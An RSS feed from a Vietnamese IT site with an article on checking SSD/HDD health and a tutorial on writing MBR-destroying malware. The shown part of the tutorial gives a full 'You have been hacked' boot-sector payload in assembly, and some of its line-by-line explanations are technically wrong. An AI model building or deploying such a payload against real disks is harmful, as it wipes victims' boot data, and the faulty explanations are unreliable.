<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>ổ cứng &#8211; AnonyViet</title>
	<atom:link href="https://anonyviet.com/tag/o-cung/feed/" rel="self" type="application/rss+xml" />
	<link>https://anonyviet.com</link>
	<description>Webiste chia sẻ kiến thức công nghệ thông tin, mạng máy tính, bảo mật phổ biến nhất Việt Nam. Luôn cập nhật tin tức, thủ thuật nóng hổi nhất</description>
	<lastBuildDate>Thu, 24 Jul 2025 16:35:17 +0000</lastBuildDate>
	<language>vi</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://anonyviet.com/wp-content/uploads/2018/10/cropped-ico-logo-75x75.png</url>
	<title>ổ cứng &#8211; AnonyViet</title>
	<link>https://anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng</title>
		<link>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/</link>
					<comments>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/#respond</comments>
		
		<dc:creator><![CDATA[Thanh Kim]]></dc:creator>
		<pubDate>Wed, 12 Apr 2023 00:22:37 +0000</pubDate>
				<category><![CDATA[Mẹo Vặt Máy Tính]]></category>
		<category><![CDATA[cách kiểm tra ổ cứng SSD HDD]]></category>
		<category><![CDATA[kiểm tra ổ đĩa]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=46232</guid>

					<description><![CDATA[Có nhiều cách kiểm tra ổ cứng SSD hay HDD nhanh chóng và đơn giản nhằm theo dõi và phát hiện lỗi một cách dễ dàng. Từ đó ta có những giải pháp khắc phục kịp thời. Những cách đó là gì và thực hiện như thế nào, mời các bạn theo dõi qua bài [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Có nhiều <strong>cách kiểm tra ổ cứng</strong> SSD hay HDD nhanh chóng và đơn giản nhằm theo dõi và phát hiện lỗi một cách dễ dàng. Từ đó ta có những giải pháp khắc phục kịp thời. Những cách đó là gì và thực hiện như thế nào, mời các bạn theo dõi qua bài viết dưới đây!</p>
<figure id="attachment_46237" aria-describedby="caption-attachment-46237" style="width: 600px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-1.jpg" alt="Cách kiểm tra ổ cứng" width="600" height="329" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 9"><figcaption id="caption-attachment-46237" class="wp-caption-text">Cách kiểm tra ổ cứng</figcaption></figure>
<h2><strong>Các dấu hiệu cho thấy ổ đĩa cứng SSD/HDD đang bị hỏng</strong></h2>
<p>Hiện nay, có ba loại ổ đĩa mà mọi người sử dụng phổ biến, đó là ổ đĩa cứng truyền thống (HDD), ổ đĩa SSD và ổ đĩa Non-Volatile Memory Express (NVMe). Sau đây là các dấu hiệu dễ nhận biết khi ở đĩa của bạn gặp vấn đề:</p>
<h3><strong>Tiếng động lách cách</strong></h3>
<p>Nếu bạn nghe thấy âm thanh lạ khi sử dụng ổ đĩa SSD, thì đây là một dấu hiệu cho thấy nó đang gặp vấn đề. Tiếng kêu này có thể là tiếng lách cách, tiếng rít khi ổ đĩa đang hoạt động. Trường hợp này nguyên nhân là do các bộ phận bên trong ổ đĩa hoặc khối lưu trữ dữ liệu bị hỏng.</p>
<h3><strong>Máy tính bị treo hoặc crash</strong></h3>
<p>Mặc dù có rất nhiều lý do khiến bạn có thể gặp sự cố khiến máy tính gặp lỗi &#8220;màn hình xanh chết chóc&#8221;, và ổ đĩa cứng bị hỏng có thể là một trong số đó.</p>
<figure id="attachment_46238" aria-describedby="caption-attachment-46238" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-2.jpg" alt="Cách kiểm tra ổ cứng" width="640" height="270" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 10"><figcaption id="caption-attachment-46238" class="wp-caption-text">Màn hình xanh chết chóc</figcaption></figure>
<p>Máy tính chạy chậm và thường xuyên treo cũng là dấu hiệu đầu tiên cho thấy ổ SSD có vấn đề, có thể do lượng dữ liệu quá nhiều, do lỗi phần mềm hoặc do ổ SSD đã sắp hết tuổi thọ.</p>
<p>Khi gặp lỗi này, bạn nên sao lưu dữ liệu quan trọng và kiểm tra tình trạng của ổ SSD bằng các công cụ như Hard Disk Sentinel, Crystal Disk Mark, Smart Reporter Lite. Nếu có thể, bạn nên khởi động lại máy tính ở chế độ an toàn (Safe Mode) hoặc cài lại hệ điều hành để khắc phục lỗi.</p>
<h3><strong>Ổ cứng trở về trạng thái chỉ đọc và không cho ghi dữ liệu mới</strong></h3>
<p>Đây là dấu hiệu cho thấy ổ SSD đã dùng hết chu kỳ ghi dữ liệu, một vấn đề tồn tại với tất cả các loại bộ nhớ flash. Khi gặp lỗi này, bạn vẫn có thể đọc dữ liệu của mình, nhưng không thể ghi thêm dữ liệu mới vào ổ SSD. Đây là lúc bạn nên mua một ổ mới để thay thế.</p>
<h3><strong>Hệ thống yêu cầu Repair</strong></h3>
<p>Nếu máy tính thông báo yêu cầu được Repair lại hệ điều hành khi khởi động, điều này cho thấy ổ SSD đã bị lỗi về điện áp hoặc cổng kết nối, dẫn đến hỏng dữ liệu hoặc hỏng cả ổ cứng. Khi gặp lỗi này, bạn nên làm theo các hướng dẫn của máy tính để khôi phục file dữ liệu hoặc sửa chữa hệ thống file. Nếu không thành công, bạn nên liên hệ với nhà sản xuất hoặc nhà cung cấp dịch vụ để kiểm tra và sửa chữa ổ SSD.</p>
<figure id="attachment_46240" aria-describedby="caption-attachment-46240" style="width: 640px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-4.jpg" alt="Cách kiểm tra ổ cứng" width="640" height="210" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 11"><figcaption id="caption-attachment-46240" class="wp-caption-text">Hệ thống yêu cầu Repair</figcaption></figure>
<p>Các hệ điều hành Windows, Mac và Linux đều được trang bị sẵn tính năng Repair để hỗ trợ sửa chữa các tập tin hệ thống bị hỏng. Nhưng tốt nhất là bạn nên thường xuyên sao lưu các dữ liệu quan trọng, để tránh trường hợp hư hỏng nặng không thể sửa chữa được.</p>
<h2><strong>Cách kiểm tra ổ cứng bằng CrystalDiskInfo</strong></h2>
<p>Ổ cứng sử dụng dữ liệu S.M.A.R.T. &#8211; viết tắt của Self-Monitoring, Analysis, and Reporting Technology &#8211; một công nghệ tự kiểm tra, phân tích và báo cáo để xác định xem nó có gặp lỗi gì hay không.</p>
<p><a href="https://download.com.vn/crystaldiskinfo-8644" target="_blank" rel="noopener">CrystalDiskInfo</a> là một ứng dụng miễn phí, cung cấp các thông tin trạng thái S.M.A.R.T. rồi báo cáo về ổ cứng cho bạn. Đây là một trong những <strong>cách kiểm tra ổ cứng</strong> đơn giản và hiệu quả mà nhiều người áp dụng.</p>
<figure id="attachment_46241" aria-describedby="caption-attachment-46241" style="width: 604px" class="wp-caption aligncenter"><img decoding="async" class=" size-full" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-5.jpg" alt="Cách kiểm tra ổ cứng" width="604" height="341" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 12"><figcaption id="caption-attachment-46241" class="wp-caption-text">Ứng dụng CrystalDiskInfo</figcaption></figure>
<p>Thao tác sử dụng hết sức đơn giản. Khi ổ đĩa hoạt động bình thường, bạn sẽ thấy hiển thị trạng thái “Good” và thậm chí bạn có thể biết nhiệt độ của mỗi ổ đĩa. Các trạng thái khác bao gồm:</p>
<ul>
<li>Bad: Báo hiệu ổ đĩa chết hoặc gần chết</li>
<li>Caution: Báo hiệu người dùng nên xem xét sao lưu và thay thế</li>
<li>Unknown: không thể thu được thông tin S.M.A.R.T. của ổ đĩa này.</li>
</ul>
<figure id="attachment_46242" aria-describedby="caption-attachment-46242" style="width: 487px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-6.jpg" alt="Cách kiểm tra ổ cứng" width="487" height="550" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 13"><figcaption id="caption-attachment-46242" class="wp-caption-text">Giao diện của CrystalDiskInfo</figcaption></figure>
<p>Thêm vào đó, bạn có thể cài đặt CrystalDiskInfo để chạy cùng Windows khi khởi động máy tính và chạy dưới dạng ứng dụng nền. Cách làm như sau: Bạn bấm vào menu “Function”, sau đó tích chọn “Resident” và “Startup” là xong.</p>
<figure id="attachment_46243" aria-describedby="caption-attachment-46243" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-7.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="343" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 14"><figcaption id="caption-attachment-46243" class="wp-caption-text">Cài đặt CrystalDiskInfo để chạy cùng Windows khi khởi động</figcaption></figure>
<h2><strong>Cách kiểm tra ổ cứng bằng Command Prompt</strong></h2>
<p>Bạn cũng có thể biết được trạng thái S.M.A.R.T. từ Windows Command Prompt.</p>
<p><strong>Bước 1:</strong> Bạn nhấn Start, gõ “Command Prompt” rồi nhấn Enter.</p>
<figure id="attachment_46244" aria-describedby="caption-attachment-46244" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-8.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="312" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 15"><figcaption id="caption-attachment-46244" class="wp-caption-text">Nhấn Start, gõ “Command Prompt” rồi nhấn Enter</figcaption></figure>
<p><strong>Bước 2:</strong> Tại cửa sổ Command Prompt, bạn gõ hoặc copy dòng lệnh sau, rồi bấm Enter:</p>
<p>wmic diskdrive get status</p>
<figure id="attachment_46245" aria-describedby="caption-attachment-46245" style="width: 700px" class="wp-caption aligncenter"><img decoding="async" class="" src="https://anonyviet.com/wp-content/uploads/2023/04/cach-kiem-tra-o-cung-9.jpg" alt="Cách kiểm tra ổ cứng" width="700" height="326" title="Cách kiểm tra ổ cứng SSD/HDD khi mới mua và đang sử dụng 16"><figcaption id="caption-attachment-46245" class="wp-caption-text">Cách kiểm tra ổ cứng bằng Command Prompt</figcaption></figure>
<p>Nếu máy tính vẫn hoạt động bình thường, bạn sẽ thấy hiển thị trạng thái “OK” cho mỗi ổ cứng. Các trạng thái khác như “Bad&#8221;, “Caution&#8221; hay “Unknown” biểu thị với ý nghĩa như phần trên</p>
<h2><strong>Nên làm gì khi ổ đĩa bị hỏng</strong></h2>
<p>Nếu bạn đã xác định rằng ổ đĩa SSD/HDD của mình đang gặp vấn đề hoặc bị hỏng, có một số điều bạn có thể làm để giải quyết vấn đề này:</p>
<h3><strong>Sao lưu dữ liệu</strong></h3>
<p>Trước tiên, bạn nên sao lưu dữ liệu từ ổ đĩa của mình sang một ổ đĩa khác hoặc bộ nhớ đám mây. Điều này sẽ giúp bạn không bị mất dữ liệu quan trọng nếu ổ đĩa bị hỏng hoàn toàn.</p>
<h3><strong>Khôi phục dữ liệu:</strong></h3>
<p>Nếu bạn không thể sao lưu hoặc truy cập được vào dữ liệu trên <a href="https://anonyviet.com/cach-tang-toc-o-cung-ssd-tren-windows-11/">ổ đĩa cứng</a> bị lỗi, bạn có thể sử dụng các phần mềm khôi phục dữ liệu để lấy lại các file bị xóa hoặc mất. Có nhiều phần mềm chuyên dụng bạn có thể thử như GetDataBack, EASEUS Data Recovery Wizard, PC Inspector File Recovery,&#8230;</p>
<p>Bạn nên cài đặt phần mềm này trên một ổ đĩa khác với ổ đĩa bị lỗi để tránh ghi đè lên dữ liệu cần khôi phục lại. Phần mềm sẽ hiển thị danh sách các tập tin có khả năng phục hồi và bạn có thể lưu chúng vào một ổ đĩa khác an toàn hơn.</p>
<h3><strong>Thay thế ổ đĩa cứng:</strong></h3>
<p>Nếu ổ đĩa của bạn bị hỏng hoàn toàn, bạn sẽ phải thay thế nó bằng một ổ đĩa mới. Nếu nó đang còn trong thời gian bảo hành, bạn có thể liên hệ với nhà sản xuất để tiến hành đổi.</p>
<p>Cuối cùng, sau khi giải quyết các vấn đề trên, bạn hãy đảm bảo rằng luôn bảo trì và sao lưu dữ liệu thường xuyên để tránh tái diễn các trường hợp tương tự trong tương lai nhé!</p>
<h2><strong>Lời Kết</strong></h2>
<p>Vậy là mình đã vừa chia sẻ đến các bạn <strong>cách kiểm tra ổ cứng</strong> SSD/HDD xem có bị lỗi hay không để kịp thời có giải pháp khắc phục. Ngoài các dấu hiệu có thể quan sát hay nghe thấy được, ta có thể dùng câu lệnh hoặc cài đặt ứng dụng để kiểm tra một cách rõ ràng và chi tiết hơn. Chúc các bạn áp dụng thành công!</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tôi có thể kiểm tra sức khỏe ổ cứng SSD/HDD của mình như thế nào?</h3>
<p>Bạn có thể sử dụng các phần mềm như CrystalDiskInfo để kiểm tra trạng thái S.M.A.R.T. của ổ cứng.  Ứng dụng này sẽ hiển thị tình trạng &#8220;Good&#8221;, &#8220;Caution&#8221; hoặc &#8220;Bad&#8221; để đánh giá sức khỏe ổ cứng của bạn.  Ngoài ra, bạn cũng có thể sử dụng lệnh `wmic diskdrive get status` trong Command Prompt.</p>
<h3>Những dấu hiệu nào cho thấy ổ cứng của tôi đang gặp vấn đề?</h3>
<p>Một số dấu hiệu bao gồm tiếng động lạ (lách cách, rít), máy tính thường xuyên treo hoặc crash, ổ cứng chuyển sang chế độ chỉ đọc, hoặc hệ thống yêu cầu sửa chữa (Repair).</p>
<h3>Nếu ổ cứng của tôi hiển thị trạng thái &#8220;Caution&#8221; hoặc &#8220;Bad&#8221;, tôi nên làm gì?</h3>
<p>Trạng thái &#8220;Caution&#8221; cảnh báo bạn nên sao lưu dữ liệu quan trọng và xem xét thay thế ổ cứng.  Trạng thái &#8220;Bad&#8221; cho thấy ổ cứng đã bị hỏng hoặc sắp hỏng, bạn cần sao lưu dữ liệu ngay lập tức và chuẩn bị thay thế ổ cứng mới.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-kiem-tra-o-cung-ssd-hdd-khi-moi-mua-va-dang-su-dung/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Code phá hủy MBR ổ cứng &#8211; Tấn công và phòng chống</title>
		<link>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/</link>
					<comments>https://anonyviet.com/code-pha-huy-mbr-o-cung-tan-cong-va-phong-chong/#comments</comments>
		
		<dc:creator><![CDATA[Hevin]]></dc:creator>
		<pubDate>Sun, 19 Feb 2023 07:31:12 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[Boot]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[mã độc]]></category>
		<category><![CDATA[mbr]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[virus]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=45229</guid>

					<description><![CDATA[Đây là một chủ đề &#8220;khá nhạy cảm&#8221; và &#8220;nguy hiểm&#8221; và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Đây là một chủ đề &#8220;khá nhạy cảm&#8221; và &#8220;nguy hiểm&#8221; và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình khỏi nó, mình đã tìm hiểu về nó. Trong bài viết này, mình sẽ chia sẻ với bạn về cách mà mình đã tạo ra một đoạn mã độc và sử dụng nó để phá huỷ dữ liệu trên ổ cứng chỉ với 1 tập lệnh Python.</strong></p>
<p><strong>An0nyviet hy vọng rằng bài viết này sẽ giúp bạn hiểu rõ hơn về cách thức hoạt động của mã độc và cách bảo vệ chính mình khỏi nó. Mình sẽ chia sẻ cách tạo ra một phần mềm độc hại MBR. Trước khi vào vấn đề đó mình sẽ nói qua khái niệm về MBR và cách hoạt động của nó.</strong></p>
<p style="text-align: center;"><span style="color: #ff0000;"><strong>Lưu ý: Bài viết chỉ mang tính chất giáo dục, nghiên cứu về mã độc, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. Anonyviet không chịu toàn bộ trách nhiệm mà bạn đã gây ra !</strong></span></p>
<h2><span style="font-size: 18pt; color: #0000ff;"><strong>MBR là gì ? Cách hoạt động của MBR</strong></span></h2>
<p><strong>MBR</strong> ( <strong>Master Boot Record</strong>: <em><strong>Bản ghi khởi động chính </strong></em>), là một phần của đĩa cứng được sử dụng để khởi động hệ thống máy tính. Nó là một khối dữ liệu 512 byte đầu tiên trên ổ đĩa cứng được sử dụng để lưu trữ thông tin về cách phân vùng đĩa cứng và cách khởi động hệ thống. Trong MBR, có một bảng phân vùng chứa thông tin về các phân vùng trên đĩa cứng, bao gồm địa chỉ bắt đầu và kích thước của mỗi phân vùng. Nó cũng chứa mã khởi động ( <strong>bootloader</strong> ) để hệ thống có thể khởi động từ ổ đĩa cứng. Ngoài ra nó còn chứa một chữ ký ( <strong>signature </strong>) với kích cỡ 2 byte ở cuối để xác nhận rằng nó là MBR hợp lệ và giúp hệ điều hành nhận diện đĩa cứng. Tuy nhiên, MBR cũng là điểm yếu của hệ thống bởi vì nó có thể bị tấn công bởi mã độc và phá hỏng thông tin về phân vùng và cách khởi động hệ thống, gây ra các vấn đề nghiêm trọng khi khởi động hệ thống.</p>
<p><strong>Cách hoạt động của MBR:</strong> Khi hệ thống được bật, trình điều khiển BIOS (<strong>Basic Input/Output System</strong>) sẽ đọc MBR từ ổ đĩa cứng và tải nó vào bộ nhớ. Mã khởi động (bootloader) trong MBR sẽ được thực thi, cho phép hệ thống khởi động từ ổ đĩa cứng. Sau đó, Bootloader sẽ tải phần mềm khởi động tiếp theo (như <a href="https://vi.wikipedia.org/wiki/GRUB" target="_blank" rel="noopener">GRUB</a> hoặc <a href="https://vi.wikipedia.org/wiki/NTLDR" target="_blank" rel="noopener">NTLDR</a>) và cho phép người dùng chọn hệ điều hành để khởi động. Nếu không có lựa chọn, bootloader sẽ tiếp tục thực thi và chuyển quyền điều khiển cho hệ điều hành. Nếu MBR bị hỏng hoặc bị tấn công bởi mã độc, bootloader có thể không thể được tải hoặc hệ thống sẽ không khởi động được. Trong trường hợp này, bạn cần phải sử dụng các công cụ phục hồi hệ thống để sửa chữa hoặc khôi phục lại MBR để đảm bảo hệ thống có thể khởi động được lại.</p>
<h2><span style="color: #0000ff; font-size: 18pt;"><strong>Mình đã tạo ra mã độc MBR phá hủy ổ cứng như thế nào ?</strong></span></h2>
<p>Để tạo ra được mã độc này, An0nyViet đã tìm hiểu những kiến thức sau:</p>
<ul>
<li><strong><em>Ngôn ngữ lập trình</em> <em>Assembler</em></strong>: đây là một ngôn ngữ lập trình gần với ngôn ngữ máy và cung cấp một phương tiện để lập trình trực tiếp các lệnh máy tính. Nó cung cấp các lệnh khá đơn giản về việc thực hiện các tác vụ cơ bản như tính toán, lưu trữ và điều khiển và mình thường thấy các lập trình viên dùng ngôn ngữ này để viết ra các phần mềm yêu cầu xử lý tốc độ nhanh</li>
<li><em><strong>Qemu</strong></em>: là chương trình mô phỏng hệ thống (System Emulator) miễn phí và mã nguồn mở, cho phép người dùng chạy các hệ điều hành và phần mềm trong một môi trường ảo trên các nền tảng khác nhau. Nó mô phỏng một loạt các kiến trúc máy tính bao gồm các CPU phổ biến như x86, ARM, PowerPC, SPARC, và MIPS, cũng như các hệ điều hành như MacOS, Windows, và Linux</li>
<li><em><strong>Netwide Assembler</strong></em>:  viết tắt là &#8220;NASM&#8221; là một trình dịch ngược mã (<strong>Assembler</strong>) mã nguồn mở, được sử dụng để chuyển đổi mã assembly (ngôn ngữ lập trình gần với ngôn ngữ máy như mình đã nói ở trên) thành mã máy. NASM hỗ trợ nhiều kiến trúc máy tính, bao gồm các kiến trúc phổ biến như x86 và x86-64 (bao gồm cả 32-bit và 64-bit), ARM, PowerPC,&#8230;. Nó được sử dụng trong nhiều dự án phần mềm mã nguồn mở, bao gồm các hệ điều hành như Linux và FreeBSD, và các công cụ và ứng dụng như bootloader và các ứng dụng mã hóa.</li>
<li><em><strong>Ngôn ngữ lập trình Python</strong></em>: Đây là một ngôn ngữ lập trình khá nhiều anh em được biết và được học rồi nhỉ, được biết Python nổi tiếng về cú pháp đơn giản, dễ đọc, dễ hiểu, và dễ học. Hiện tại Python đang được phát triển và được dạy trong chương trình THPT. Python là ngôn ngữ lập trình thông dịch, được sử dụng rộng rãi trong nhiều lĩnh vực khác nhau.  Và đó cũng là lí do mình lựa chọn Python để viết ra mã độc MBR nhằm dễ đọc và dễ hiểu hơn</li>
</ul>
<p>Trước tiên mình download <a href="https://qemu.weilnetz.de/w64/" target="_blank" rel="noopener">Qemu Binaries</a> và <a href="https://www.nasm.us/pub/nasm/releasebuilds/2.16.01/" target="_blank" rel="noopener">NASM</a>. Việc cài đặt 2 phần mềm này khá đơn giản nên mình sẽ bỏ qua nhé. Bây giờ mình sẽ tiến hành tạo một tên tệp với bản định dạng của ngôn ngữ Assembler là .asm. Mình đặt tên file là <strong>boot.asm</strong> nhé</p>
<h3><span style="font-size: 14pt;"><strong><span style="color: #008000;">Bước 1: Tạo tệp boot.asm và biên dịch sang mã hex độc</span></strong></span></h3>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2023/02/carbon.png" alt="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 11" width="1364" height="1242" title="Code phá hủy MBR ổ cứng - Tấn công và phòng chống 27"></p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">org 0x7c00 
bits 16    


start:
    call cls 
    mov bx, display

print:
    mov al, [bx]
    cmp al, 0 
    je halt
    call print_char 
    inc bx
    jmp print 

print_char:
    mov ah, 0x0e
    int 0x10 
    ret 

halt:
    ret


cls:
    mov ah, 0x07   
    mov al, 0x00  
    mov bh, 0x02
    mov cx, 0x00  
    mov dx, 0x184f
    int 0x10       
    ret            

display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55 
</pre>
<p><strong>Đoạn code trên là một chương trình boot loader, được tạo ra để chạy trên một máy tính x86 sau khi khởi động. Bây giờ chúng mình hãy cùng đi vào từng đoạn code để hiểu rõ hơn nha:</strong></p>
<p>Dòng đầu tiên <code>org 0x7c00</code> chỉ định vị trí lưu trữ của chương trình khi nó được nạp vào bộ nhớ, và địa chỉ này được xác định là <code>0x7c00</code>. Dòng thứ 2 chính là <code>bits 16</code> chỉ định rằng chương trình này sẽ được biên dịch và chạy trên kiến trúc 16Bit</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">org 0x7c00
bits 16</pre>
<p>Chương trình bắt đầu bằng nhãn <code>start</code> và thực hiện các lệnh. Lệnh đầu tiên gọi hàm <code>cls</code> để xóa màn hình. Lệnh thứ hai đưa địa chỉ của chuỗi <code>display</code> vào thanh ghi <code>bx</code></p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">start:
     call cls
     mov bx, display</pre>
<p>Đoạn mã này lặp lại cho đến khi kết thúc chuỗi <code>display</code>. Mỗi lần lặp lại, nó đọc một ký tự từ chuỗi <code>display</code> và gọi hàm <code>print_char</code> để in ký tự đó ra màn hình. Sau đó, nó tăng giá trị của thanh ghi <code>bx</code> để trỏ đến ký tự tiếp theo trong chuỗi <code>display</code> và lặp lại quá trình này.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">print:
     mov al, [bx]
     cmp al, 0
     je halt
     call print_char
     inc bx
     jmp print</pre>
<p>Hàm <code>print_char</code> đặt giá trị <code>0x0e</code> vào thanh ghi <code>ah</code>, sau đó gọi trình ngắt <code>0x10</code> để hiển thị ký tự tương ứng với thanh ghi <code>al</code> lên màn hình. Tiếp đến, nó sẽ trả về ngay lập tức.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">print_char:
     mov ah, 0x0e
     int 0x10
     ret</pre>
<p>Hàm <code>halt</code> chỉ đơn giản là trả về ngay lập tức.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">halt:
     ret</pre>
<p><code>cls</code> là một hàm để xóa màn hình<br />
<code>mov ah, 0x07</code>: Di chuyển giá trị <code>0x07</code> vào thanh ghi <code>ah</code>, là mã hàm ẩn bảng ký tự của BIOS để xoá màn hình.<br />
<code>mov al, 0x00</code>: Di chuyển giá trị <code>0x00</code> vào thanh ghi <code>al</code>, là thông số mặc định để xoá màn hình.<br />
<code>mov bh, 0x02</code>: Di chuyển giá trị <code>0x02</code> vào thanh ghi <code>bh,</code> là mã màu sắc của ký tự trên màn hình console.Trong trường hợp này, màu sắc được chọn là màu xanh lá cây được biểu thị bằng mã nhị phân. Bạn có thể xem các danh sách màu chữ của BIOS <a href="https://en.wikipedia.org/wiki/BIOS_color_attributes" target="_blank" rel="noopener">tại đây</a><br />
<code>mov cx, 0x00</code>: Di chuyển giá trị <code>0x00</code> vào thanh ghi <code>cx</code>, là số lần hiển thị để xoá màn hình.<br />
<code>mov dx, 0x184f</code>: Di chuyển giá trị <code>0x184f</code> vào thanh ghi <code>dx</code>, là tọa độ bắt đầu xoá màn hình với x = 0 và y =0<br />
<code>int 0x10</code>: Gọi hàm ngắt số <code>0x10</code>, là hàm giao tiếp với phần cứng video của máy tính.<br />
<code>ret</code>: Trả về hàm và quay trở lại nơi gọi hàm.</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">cls:
     mov ah, 0x07
     mov al, 0x00
     mov bh, 0x02
     mov cx, 0x00
     mov dx, 0x184f
     int 0x10
     ret</pre>
<p><code>display</code> là tên biến, <code>db</code> là instruction để định nghĩa một chuỗi byte.<br />
Chuỗi được định nghĩa bao gồm: <code>"We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0</code> và bạn cũng có thể thay đổi lời nhắn tùy ý nhé !</p>
<p>Ở đây <code>"We are Anonyviet.com, I am Hevin"</code> là một chuỗi ký tự, trong trường hợp này là thông điệp được hiển thị trên màn hình</p>
<p>Còn <code>13</code> và <code>10</code> lần lượt là các ký tự ASCII tương ứng với các ký tự xuống dòng và lùi về đầu dòng (Carriage Return và Line Feed).<br />
<code>"You have been hacked !"</code> là thông điệp tiếp theo được hiển thị trên màn hình. <code>0</code> là ký tự kết thúc chuỗi.<br />
<code>times 510 - ($ - $$) db 0</code> sử dụng lệnh <code>times</code> để bổ sung các byte giá trị 0 vào phần còn thiếu của boot sector (tính từ đầu cho tới vị trí 510).<br />
<code>dw 0xaa55</code> giá trị kết thúc của boot sector là <code>0xAA55</code>, giá trị này sẽ được BIOS sử dụng để kiểm tra tính hợp lệ của boot sector trước khi nạp vào bộ nhớ và thực thi</p>
<pre class="EnlighterJSRAW" data-enlighter-language="asm">display db "We are Anonyviet.com, I am Hevin", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55</pre>
<h4><code></code><strong>Cách hoạt động của chương trình phá hủy MBR ổ cứng trên như sau:</strong></h4>
<p>Trước tiên, nó sử dụng lệnh <code>org 0x7c00</code> để xác định địa chỉ bắt đầu của chương trình, tức là địa chỉ <code>0x7c00</code>. Tiếp đến sử dụng <code>bits 16</code> để chỉ định kiểu bit được sử dụng.</p>
<p>Sau đó, chương trình chạy đến nhãn <code>start</code> và gọi hàm <code>cls</code> để xóa màn hình và di chuyển con trỏ về địa chỉ đầu tiên của chuỗi <code>display</code> bằng cách di chuyển địa chỉ của chuỗi vào thanh ghi <code>bx</code></p>
<p>Tiếp theo, chương trình sử dụng một vòng lặp để in từng ký tự trong chuỗi <code>display</code> bằng cách gọi hàm <code>print_char</code>. Nếu ký tự là ký tự null (0), vòng lặp sẽ dừng lại và chương trình sẽ gọi hàm <code>halt</code> để kết thúc chương trình. Nếu không, con trỏ sẽ được di chuyển sang ký tự tiếp theo trong chuỗi bằng cách tăng giá trị của thanh ghi <code>bx</code> và chương trình sẽ tiếp tục in ký tự tiếp theo.</p>
<p>Hàm <code>print_char</code> sử dụng lệnh <code>int 0x10</code> để gọi dịch vụ hệ thống của BIOS để in một ký tự lên màn hình. Trong hàm này, chương trình truyền giá trị của thanh ghi <code>al</code> vào thanh ghi <code>ah</code> và sau đó gọi lệnh <code>int 0x10</code> để in ký tự lên màn hình.</p>
